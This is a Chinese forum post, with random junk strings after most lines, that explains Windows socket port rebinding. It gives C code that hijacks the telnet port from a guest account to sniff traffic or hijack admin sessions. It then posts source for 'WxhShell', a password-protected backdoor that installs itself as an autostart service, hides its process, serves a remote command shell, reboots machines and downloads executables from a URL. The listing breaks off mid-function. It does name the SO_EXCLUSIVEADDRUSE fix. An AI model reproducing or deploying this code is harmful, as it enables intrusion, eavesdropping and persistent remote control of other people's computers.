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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lcLDCt ?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wwRPfr[  
PhPe7^  
  saddr.sin_family = AF_INET; cs7^#/3<  
lQiw8qD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d'&OEGb<  
+p`BoF9~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q{_f"  
=''WA:,=h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 omGzyuPF  
Qv`: E   
  这意味着什么?意味着可以进行如下的攻击: [y}h   
aOw#]pB|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Cn{v\Q~.4  
HI{h>g T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pY[b[ezb  
o>nw~_ H\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7_P33l8y  
XjCx`bX^<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .zl[nx[9"D  
@/?i|!6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )-o jm$  
NMfHrYHbh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YK[2KTlo  
sVBr6 !v=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H2H[DVKv  
10h; N[  
  #include 8V}|(b#  
  #include ;N(L,  
  #include rM^2yr7H  
  #include    9-V'U\}L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /t`,7y 3T  
  int main() 1pg#@h[|t  
  { NP\mzlI~@  
  WORD wVersionRequested; 5jso)`IL  
  DWORD ret; X.S<",a{qz  
  WSADATA wsaData; LGW:+c  
  BOOL val; fI`gF^u(  
  SOCKADDR_IN saddr; :aBxyS*}G  
  SOCKADDR_IN scaddr; y2#"\5dC  
  int err; 0;@>jo6,!  
  SOCKET s; k7Qs#L  
  SOCKET sc; [OTn>/W'  
  int caddsize; 9od*N$  
  HANDLE mt; c_S~{a44Ud  
  DWORD tid;   #;~HoOK*#  
  wVersionRequested = MAKEWORD( 2, 2 ); dt@c,McN|Q  
  err = WSAStartup( wVersionRequested, &wsaData ); zCQP9oK!  
  if ( err != 0 ) { T*SLM"x  
  printf("error!WSAStartup failed!\n"); Ihf)gfHj  
  return -1; B @QWr;  
  } AX$r,KmE  
  saddr.sin_family = AF_INET; q?Csm\Y  
   fz`)CWo:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h@NC#Iod  
vpf.0!zh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yyljyE  
  saddr.sin_port = htons(23); GC7WRA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $/C1s"C@O  
  { - z+,j(@  
  printf("error!socket failed!\n"); CEI"p2  
  return -1; lH`TF_  
  } /+J nEFf  
  val = TRUE; I=#`8deH(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tm5)x^7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wEM=Tr/h  
  { YPI,u7-  
  printf("error!setsockopt failed!\n"); qe#5;#  
  return -1; GJZjQH-#P  
  } bY.VNA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; & nXE?-J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bA,Zfsr6#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mi<Q3;m  
X*@ tp,t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `j@1]%&z  
  { 6 h#U,G  
  ret=GetLastError(); j\IdB:}j  
  printf("error!bind failed!\n"); nOL.%  
  return -1; r9&m^,U  
  } _3@5@1[s  
  listen(s,2); x1#>"z7  
  while(1) 7~QI4'e  
  { ur8+k4] \"  
  caddsize = sizeof(scaddr); M Zz21H  
  //接受连接请求 YIg43Av  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z8ZQL.z%h  
  if(sc!=INVALID_SOCKET) PBb&.<   
  { 9/29>K_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PjEJ C@n  
  if(mt==NULL) p9?kJKN  
  { J??AU0 vh  
  printf("Thread Creat Failed!\n"); s+lBai*#  
  break; B8T$<  
  } |mQ Fi\  
  } $U]T8;5Q  
  CloseHandle(mt); #DFi-o&-  
  } &H;,,7u  
  closesocket(s); =oSd M2  
  WSACleanup(); Kus=.(  
  return 0; MXcW & b  
  }   x+Xd7N1  
  DWORD WINAPI ClientThread(LPVOID lpParam) aqI"4v]~b  
  { uB.kkkGZ M  
  SOCKET ss = (SOCKET)lpParam; k*fU:q1  
  SOCKET sc; !`I@Rk]`c  
  unsigned char buf[4096]; `e =IXkt  
  SOCKADDR_IN saddr; B??07j  
  long num; {owuYVm  
  DWORD val; K-C,n~-  
  DWORD ret; WV$CZgL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {IV% _y?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |{YN3"qN  
  saddr.sin_family = AF_INET; - C q;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R>"Fc/{y  
  saddr.sin_port = htons(23); e9h@G#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s/IsrcfM  
  { $!.>)n  
  printf("error!socket failed!\n"); '^_u5Y]  
  return -1; 7:u+cv  
  } hOAZvrfQ4  
  val = 100; ALTOi?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +_i{4Iz~p  
  { ]q%r2 (y,k  
  ret = GetLastError(); !B%em%Tv  
  return -1; 2r!ltG3}  
  } Om0$6O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zW%Em81Wd  
  { %DKFF4k  
  ret = GetLastError(); Yn }Gj'  
  return -1; Re8x!e'>  
  } !Rl|o^Vw>{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D:/ n2_  
  { jn V=giBu  
  printf("error!socket connect failed!\n"); w7U]-MW6A*  
  closesocket(sc); 32\.-v  
  closesocket(ss); aP  
  return -1; t Y  
  } V[nPTYO4  
  while(1) g;63$_<  
  { T(7`$<TQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 29RP$$gR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DQXUh#t\(]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?8V.iHJk  
  num = recv(ss,buf,4096,0); eTx9fx w  
  if(num>0) ux&"TkEp  
  send(sc,buf,num,0); W%g*sc*+  
  else if(num==0) I1E9E$m5\<  
  break; .Az36wD  
  num = recv(sc,buf,4096,0); E?XaU~cpc  
  if(num>0) QPx5`{nN  
  send(ss,buf,num,0); %vJHr!x  
  else if(num==0) 46A sD  
  break; Sr aZxuPg>  
  } qLDj\%~(  
  closesocket(ss); elCYH9W^  
  closesocket(sc); !'jq.RawP  
  return 0 ; ^U_T<x8{  
  } !,[#,oy;  
yXR1 NYg  
'9V/w[mI  
========================================================== Q4"\k. ?  
n(F!t,S1i  
下边附上一个代码,,WXhSHELL r.H`3m.0q  
)r9 9zdUk  
========================================================== !uEEuD#  
BY6#dlDi  
#include "stdafx.h" o{s2T)2  
,5n!a.T  
#include <stdio.h> } GB~3 J  
#include <string.h> jfxNV2[  
#include <windows.h> S 5S\zTPIf  
#include <winsock2.h> 6ZQ |L=Ytp  
#include <winsvc.h> Q Q3<)i  
#include <urlmon.h> >j5\J_( ;D  
m+Ye`]  
#pragma comment (lib, "Ws2_32.lib") +FT c/r  
#pragma comment (lib, "urlmon.lib") "Lbsq\W>  
q3$8"Q^  
#define MAX_USER   100 // 最大客户端连接数 [A-_?#cZ  
#define BUF_SOCK   200 // sock buffer Nn. 9J  
#define KEY_BUFF   255 // 输入 buffer dDaV2:4E  
~`OX}h/Z  
#define REBOOT     0   // 重启  ?.?)5 &4  
#define SHUTDOWN   1   // 关机 e%\^V\L  
x o"GNFh!  
#define DEF_PORT   5000 // 监听端口 cfLLFPhv)  
XNYA\%:5S  
#define REG_LEN     16   // 注册表键长度 ;>J!$B?,  
#define SVC_LEN     80   // NT服务名长度 T+0=Ou"N  
ob.<j  
// 从dll定义API Bs~~C8+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n1f8jS+'}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]" 'yf;g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @Po5AK3cy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iE~!?N|a3  
g&Vhu8kNIA  
// wxhshell配置信息 }Ce9R2  
struct WSCFG { 7OV^>"S  
  int ws_port;         // 监听端口 .<hHK|HF  
  char ws_passstr[REG_LEN]; // 口令 |`T(:ZKXZ2  
  int ws_autoins;       // 安装标记, 1=yes 0=no CY1WT  
  char ws_regname[REG_LEN]; // 注册表键名 + Iyyk02V  
  char ws_svcname[REG_LEN]; // 服务名 &`D$w?beg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U zy@\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MKHnA|uQ](  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \<LCp;- K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w$}q`k'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nm*(?1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?XBdBR_"^  
e HphM;C  
}; !7N:cx'Qy  
L< F8+a7i  
// default Wxhshell configuration 0]DOiA  
struct WSCFG wscfg={DEF_PORT, 8?yIixhw  
    "xuhuanlingzhe", .hT>a<  
    1, O =Z}DGa+  
    "Wxhshell", .a%6A#<X  
    "Wxhshell", e=sc$1|4=  
            "WxhShell Service", n1-p/a.  
    "Wrsky Windows CmdShell Service", 2f,8Jnia  
    "Please Input Your Password: ", ='7m$,{(Q[  
  1, -$d?e%}#  
  "http://www.wrsky.com/wxhshell.exe", h,{m{Xh  
  "Wxhshell.exe" RHF"$6EAFG  
    }; _jQ:9,; A  
b fxE}>  
// 消息定义模块 5nG\J g7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "Lp.*o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W5R/Ub@g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m}]{Y'i]R  
char *msg_ws_ext="\n\rExit."; &;BhL%)}  
char *msg_ws_end="\n\rQuit."; QiPq N$n  
char *msg_ws_boot="\n\rReboot..."; _}l(i1o,/  
char *msg_ws_poff="\n\rShutdown..."; |+cz\+  
char *msg_ws_down="\n\rSave to "; t~+M>Fjm?d  
<y6`8J7:  
char *msg_ws_err="\n\rErr!"; PQHztS"  
char *msg_ws_ok="\n\rOK!"; -)V0D,r$[  
BZeEZ2"  
char ExeFile[MAX_PATH]; pzF_g- B  
int nUser = 0; T\6Qr$t  
HANDLE handles[MAX_USER]; X`8<;l  
int OsIsNt; A(y6]E!  
1-kuK<KR  
SERVICE_STATUS       serviceStatus; V3,C5KKk&z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9jal D X  
`G\ qGllX  
// 函数声明 VfnL-bDGV  
int Install(void); W|PAI [N  
int Uninstall(void); j=0kxvp  
int DownloadFile(char *sURL, SOCKET wsh); l)u%`Hcn  
int Boot(int flag); |IAx!Z-P  
void HideProc(void); ndSu-8?L  
int GetOsVer(void); E>fY,*0  
int Wxhshell(SOCKET wsl); nW=6nCyvo  
void TalkWithClient(void *cs); x;mw?B[  
int CmdShell(SOCKET sock); W~ yb>+u  
int StartFromService(void); Gs: g  
int StartWxhshell(LPSTR lpCmdLine); 1 iH@vd  
']}-;m\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tu vs}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *DJsY/9d}'  
WIWo4[(  
// 数据结构和表定义 b_+o1Zy`  
SERVICE_TABLE_ENTRY DispatchTable[] = 0|GYtnd  
{ _/>ktYo:  
{wscfg.ws_svcname, NTServiceMain}, [@K'}\U^+  
{NULL, NULL} H1N@E}>|  
}; (kL"*y/"p  
4 ]oe`yx  
// 自我安装 x?i wtZ@  
int Install(void) %JeND XbI4  
{ m(f`=+lqI`  
  char svExeFile[MAX_PATH]; =ejcP&-V/  
  HKEY key;  exWQ~&  
  strcpy(svExeFile,ExeFile); 1j2U,_-  
S'x ]c#  
// 如果是win9x系统,修改注册表设为自启动 iM .yen_vp  
if(!OsIsNt) { VwR\"8r3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !}=eXDn;A_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XT^=v6^H  
  RegCloseKey(key); ]}`t~#Irz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -jjB2xP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8:Hh;nl  
  RegCloseKey(key); 5OdsT-y  
  return 0; i4YskhT  
    } h7]+#U]mi  
  } 49"C'n0wST  
} :(q4y-o6  
else { FK BRJ5O  
RE!WuLs0"  
// 如果是NT以上系统,安装为系统服务 +*.*bo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )Kx.v'  
if (schSCManager!=0) 8GkWo8rPk  
{ k}LIMkEa4a  
  SC_HANDLE schService = CreateService \>$zxC_  
  ( pj%]t  
  schSCManager, q/?*|4I  
  wscfg.ws_svcname, Y%}&eN$r  
  wscfg.ws_svcdisp, t[|rp&xG  
  SERVICE_ALL_ACCESS, bK "I9T #  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ET[5`z  
  SERVICE_AUTO_START, SU%O\ 4Ty  
  SERVICE_ERROR_NORMAL, .{gDw  
  svExeFile, m{>1# 1;$t  
  NULL, Z|K HF"  
  NULL, |QS|\8g{0V  
  NULL, 1c,#`\Iikd  
  NULL, gwB,*.z  
  NULL MJX ny4n  
  ); %)V=)l.j  
  if (schService!=0) 7sVM[lr<  
  { O+!4KNN.-  
  CloseServiceHandle(schService); 8j Cho  
  CloseServiceHandle(schSCManager); qiOtbH=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y*xgY*K  
  strcat(svExeFile,wscfg.ws_svcname); ,DEq"VW_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .BxI~d^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <.`i,|?MHS  
  RegCloseKey(key); 9@1n:X  
  return 0; J_F\cM   
    } E+y_te^+b  
  } p;4FZ$  
  CloseServiceHandle(schSCManager); |X{j^JP 5  
} "OwM' n8  
} :U\* 4l  
|kmP#`P~  
return 1; Jk{SlH3'  
} Gd!_9S`68  
km>ZhsqD  
// 自我卸载 /Ey%aA4v  
int Uninstall(void) =U84*HAv  
{ $`OyGeq"T  
  HKEY key; d/GSG%zB  
@o[ZJ4>*  
if(!OsIsNt) { m 70r'b]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z6B$\Q5Od  
  RegDeleteValue(key,wscfg.ws_regname); R1JD{  
  RegCloseKey(key); ~v&Q\>'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B\D)21Ik}%  
  RegDeleteValue(key,wscfg.ws_regname); XK~HfA?  
  RegCloseKey(key); USART}Us4  
  return 0; jR\pYRK  
  } ,'C*?mms  
} [vI ;A !  
} 9@qkj 4w  
else { p` ~=v4;b  
*X3wf`C?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7OLHYt9  
if (schSCManager!=0) AclK9+V  
{ e R[B0;c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lOA EM  
  if (schService!=0) Y4YZM  
  { $,Q] GIC  
  if(DeleteService(schService)!=0) { )fo0YpE^|  
  CloseServiceHandle(schService); HH6n3c!:mm  
  CloseServiceHandle(schSCManager); E$_zBD%  
  return 0; 'Rnzu0<lF  
  } #^9bBF/  
  CloseServiceHandle(schService); NJJ=ch  
  } aF/DFaiYv  
  CloseServiceHandle(schSCManager); Sv=e|!3f[k  
} #n&/v'!\  
} y?cN  
0.m-}  
return 1; f0@*>  
} #6~KO7}  
7.2G}O6$  
// 从指定url下载文件 RKzO$T  
int DownloadFile(char *sURL, SOCKET wsh) ZxO o&YR3  
{ {zd[8TJ~xa  
  HRESULT hr; +DQUL|\  
char seps[]= "/"; 8@ f!,!Wn  
char *token; \v+>qY<q  
char *file; :}36;n<['  
char myURL[MAX_PATH]; {1=|H$wKg  
char myFILE[MAX_PATH]; %4` U' j  
O\uIIuy  
strcpy(myURL,sURL); {tYY _BI<  
  token=strtok(myURL,seps); $S>bcsAy  
  while(token!=NULL) *Mg@j;+5s  
  { Z@Q/P(t  
    file=token; ;4dFL\KU  
  token=strtok(NULL,seps); {a\! 1~  
  } nN.Gn+Cl  
)AEtW[~D  
GetCurrentDirectory(MAX_PATH,myFILE); YeT{<9p  
strcat(myFILE, "\\"); >+<b_q|P  
strcat(myFILE, file); Px-VRANZt  
  send(wsh,myFILE,strlen(myFILE),0); {o^tSEN!-  
send(wsh,"...",3,0); Qm7];,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;t9!< L  
  if(hr==S_OK) s[eSPSFZ  
return 0; PI$i_3N  
else *BrGh  
return 1; A *:| d~  
zqt%x?l  
} J:'_S `J  
4V{&[ Z  
// 系统电源模块 oR8'^G0<  
int Boot(int flag) ,j{tGj_  
{ \7h>9}wGf  
  HANDLE hToken; 6d5J*y2  
  TOKEN_PRIVILEGES tkp; +VQD'  
f tl$P[T  
  if(OsIsNt) {  /s^42  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'Qg!ww7O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bxwwYSS  
    tkp.PrivilegeCount = 1; (#6Fg|f4Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |RD )pvVM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "uL~D5!f  
if(flag==REBOOT) { PP\ bDEPy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7l/ZRz }1  
  return 0; :J @3:+sr  
} _UZPQ[  
else { hP'4PLK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )l! /7WKY  
  return 0; G 0Z5h  
} R|$b\3  
  } Vh;|qF 9  
  else { qs\Cwn!  
if(flag==REBOOT) { )\D{5j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8 3/WWL }  
  return 0; #^]vhnbN  
} j `!Ge  
else { {9{X\|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dR_6j}  
  return 0; NZZy^p&O  
} PW5)") z  
} 1anh@T.  
!"yr;t>|Zb  
return 1; #Ff8_xhP2  
} ~@6l7H6{  
G!B:>P|\l  
// win9x进程隐藏模块 }.'rhR+  
void HideProc(void) n6t@ e^  
{ }@t" B9D  
5rbb ,*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H"UJBO>$  
  if ( hKernel != NULL ) G{4s~Pco[Q  
  { 0,m]W)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u_+iH$zA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AIn/v`JeX  
    FreeLibrary(hKernel); LWTPNp:"{w  
  } |LbAW /9a  
R)*DkL!  
return; 3+uL@LXd  
} BK=w'1U  
6YNL4HE?  
// 获取操作系统版本 itirh"[  
int GetOsVer(void) d,l?{ Ln  
{  6(-s@{  
  OSVERSIONINFO winfo; 3Ji$igL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $F# 5/gDVQ  
  GetVersionEx(&winfo); YK6'/2!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hchG\ i  
  return 1; @j}%{Km]Y  
  else x,U_x  
  return 0; 9-{=m+|b  
} O8bxd6xb  
1F5KDWtE  
// 客户端句柄模块 =(7nl#o  
int Wxhshell(SOCKET wsl) egG<"e*W}N  
{ X)~wB7_0G  
  SOCKET wsh; zM=MFKhi ~  
  struct sockaddr_in client; kO3\v)B;  
  DWORD myID; lcm [l  
z dgS@g  
  while(nUser<MAX_USER) JJtx `@Bc  
{ ]'(D*4  
  int nSize=sizeof(client); RhHm[aN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nDC0^&  
  if(wsh==INVALID_SOCKET) return 1; 9)'f)60^  
}H\I[5*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZzupK^5Z  
if(handles[nUser]==0) b),fz  
  closesocket(wsh); ^ U mYW  
else u7[}pf$}  
  nUser++; ]9y\W}j  
  } (n*:LS=0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XhM!pSl\  
W/ Q*NB  
  return 0; PT6]qS'1  
} |M?vFF]TN  
/gZyl|kdy  
// 关闭 socket m<-ShRr*b  
void CloseIt(SOCKET wsh) *$<W"@%^J  
{ 3J+2#ML  
closesocket(wsh); )e,O+w"  
nUser--; ;Nj9,Va(t  
ExitThread(0); ]A3  
} VX$WL"A  
R2Fjv@Egk  
// 客户端请求句柄 7pyzPc#_  
void TalkWithClient(void *cs) Z]]Ur  
{ <:}nd:l1  
wu)+n\mt'  
  SOCKET wsh=(SOCKET)cs; DpT9"?g7  
  char pwd[SVC_LEN]; hF,|()E[  
  char cmd[KEY_BUFF]; pUXoSnIq:  
char chr[1]; {rUg,y{v  
int i,j; IW0S*mO$  
-r={P _E6  
  while (nUser < MAX_USER) { At iUTA  
RRIh;HhX  
if(wscfg.ws_passstr) { 7 $e6H|j@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %y6(+I #P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lvO6&sF1  
  //ZeroMemory(pwd,KEY_BUFF); G#n 4g :K  
      i=0; t*gZcw5 r  
  while(i<SVC_LEN) { |58HPW9  
vk92j?  
  // 设置超时 & o5x  
  fd_set FdRead; 4dX{an]Cz  
  struct timeval TimeOut; f+h\RE=BGt  
  FD_ZERO(&FdRead); 1!<t8,W4  
  FD_SET(wsh,&FdRead); d y HC8  
  TimeOut.tv_sec=8; ZZY#.  
  TimeOut.tv_usec=0; v'W{+>.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hmu>s'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y[{:?i~9,  
XQ#K1Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D'g,<-ahl  
  pwd=chr[0]; (pxH<k=Ah  
  if(chr[0]==0xd || chr[0]==0xa) { +_5*4>MC  
  pwd=0; 3&hR#;,"X  
  break; w1/QnV  
  } Z)@vJZ*7(  
  i++; 5X{|*?>T  
    } 1j?P$%p  
y;b#qUd5a  
  // 如果是非法用户,关闭 socket yE:y[k0E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .9J^\%JD  
} irt9%w4"  
]A5F}wV4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !0;AFv`\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s= Fp[>qA  
@%4'2b  
while(1) { K~L&Z?~|E  
m?e/MQr  
  ZeroMemory(cmd,KEY_BUFF); )OI}IWDl  
)D8op;Fn  
      // 自动支持客户端 telnet标准   5CI {&E  
  j=0; T?8BAxC?K  
  while(j<KEY_BUFF) { "~4V(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iOiF kka  
  cmd[j]=chr[0]; '2lV(>"  
  if(chr[0]==0xa || chr[0]==0xd) { '2^}de!E  
  cmd[j]=0; ^/n1h g  
  break; FL mD?nw  
  } J!C \R5\  
  j++; )tlj{ 7p  
    }  2E*=EjGV  
f^pBXz9&=  
  // 下载文件 PQaTS*0SXJ  
  if(strstr(cmd,"http://")) { mP)bOAU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FGVw=G{r  
  if(DownloadFile(cmd,wsh)) 9vRLM*9|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A7L;ims7  
  else j@xIa-{*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Q? i16pM  
  } RP~nLh3=\  
  else { j/t%7,  
Q>5f@aN  
    switch(cmd[0]) { N@thewt|  
  F_079~bJ  
  // 帮助 !oH{=.w  
  case '?': { ?o(284sV3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %pVsafV  
    break; [8'?G5/n  
  } :Wbp|:N0  
  // 安装 EjfQF C  
  case 'i': { JSUD$|RiJ  
    if(Install()) x-i,v"8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vA6`};|  
    else pCt2 -aam  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cW^LmA  
    break; ?)9L($VVD  
    } _i>_Sn1"  
  // 卸载 `R0~mx&6G  
  case 'r': { jm%P-C @  
    if(Uninstall()) %ddH4Q/p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e6p3!)@P1  
    else (rFkXK4^J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k -G9'c~  
    break; 4}C \N  
    } qt9jZtx  
  // 显示 wxhshell 所在路径 6wpW!SWD  
  case 'p': { 5& %M L  
    char svExeFile[MAX_PATH]; A\?t^T  
    strcpy(svExeFile,"\n\r"); xY?p(>(  
      strcat(svExeFile,ExeFile); "d<uc j  
        send(wsh,svExeFile,strlen(svExeFile),0); igL5nE=n  
    break; TDw~sxtv&  
    } NK|U:p2H  
  // 重启 & &CrF~  
  case 'b': { rhLhFN{h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L{~ ]lUo  
    if(Boot(REBOOT)) G9Xkim Q'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MR|A_e^x  
    else { 62nmm/c  
    closesocket(wsh); (}wPu&Is,C  
    ExitThread(0); gZ&4b'XS,  
    } B^9C}QB  
    break; Mx w-f4j  
    } Xc+YoA0Ez  
  // 关机 xJw" 8V<  
